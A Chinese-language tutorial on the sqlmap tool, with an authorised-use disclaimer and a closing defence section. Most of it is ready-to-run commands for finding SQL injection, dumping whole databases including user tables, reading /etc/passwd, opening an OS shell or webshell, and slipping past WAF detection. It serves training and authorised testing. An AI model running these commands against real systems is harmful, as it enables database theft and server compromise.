sqlmap 使用与 SQL 注入自动化实战

sqlmap 从探测到拖库的完整用法:基础命令、参数、脱库、注入类型控制与绕过,限定授权靶场。

写在前面:合法学习边界

sqlmap 只用于授权靶场或明确授权的目标。对真实系统跑全功能注入、拖库可能触犯法律。

一、工具定位

sqlmap 是自动化检测和利用 SQL 注入的工具,支持多种注入类型:

1
2
3
4
基于布尔/时间/报错的盲注
联合查询、堆叠查询
POST/Header/Cookie 注入
数据库指纹、脱库、读写文件

二、基础用法

第一步:验证注入点

1
sqlmap -u "http://目标/get.php?id=1" --batch

--batch 全自动确认,会检测是否存在注入、识别数据库类型。

指定注入方式与等级

1
2
3
4
5
6
# 提高检测等级(更多测试点、更慢)
sqlmap -u "http://目标/?id=1" --level 3 --risk 2
# POST 注入
sqlmap -u "http://目标/login" --data "user=1&pass=1"
# Header/Cookie 注入
sqlmap -u "http://目标/" --headers "X-Forwarded-For: 1*"

控制注入类型

1
2
3
# 只测布尔/时间盲注(不出网场景)
sqlmap -u "http://目标/?id=1" --technique BT
# 技术选项:B布尔 E报错 U联合 S堆叠 T时间

三、脱库流程

枚举数据库

1
sqlmap -u "http://目标/?id=1" --dbs

枚举表与字段

1
2
sqlmap -u "http://目标/?id=1" -D 数据库名 --tables
sqlmap -u "http://目标/?id=1" -D 数据库名 -T 表名 --columns

导出数据

1
2
3
sqlmap -u "http://目标/?id=1" -D 数据库名 -T users --dump
# 一次全拖
sqlmap -u "http://目标/?id=1" --dump-all

断点续传与并发

1
sqlmap -u "http://目标/?id=1" -D 库 -T 表 --dump --threads 5 --batch

四、进阶与绕过

读写文件(需要文件权限)

1
2
3
4
# 读文件
sqlmap -u "http://目标/?id=1" --file-read "/etc/passwd"
# 写 webshell
sqlmap -u "http://目标/?id=1" --os-shell

绕过 WAF / 特征

1
2
3
4
--random-agent        # 随机 UA
--tamper=space2comment  # 空格替换注释等绕过
--delay=1             # 限速降低告警
--time-sec=5          # 时间盲注延时

从请求文件跑

1
2
# 先抓包存到 req.txt,再导入
sqlmap -r req.txt --batch

五、常见误区

1
2
3
4
一上来就 --dump-all,流量大又慢
不确认注入类型就全技术跑
忽略数据库账号权限,以为万能
不懂注入原理,只会套命令

六、检测与防御(对立面)

1
2
3
4
5
参数化查询 / 预处理(根本)
WAF 拦截注入特征
最小权限数据库账号
错误信息不回显
对异常长参数、注入关键字告警

七、小结

sqlmap 能省大量时间,但它只是工具。真正决定成败的是:注入点在哪个参数、数据库什么权限、能不能出网、要不要绕过。先手动确认注入,再让 sqlmap 自动化,才是正确姿势。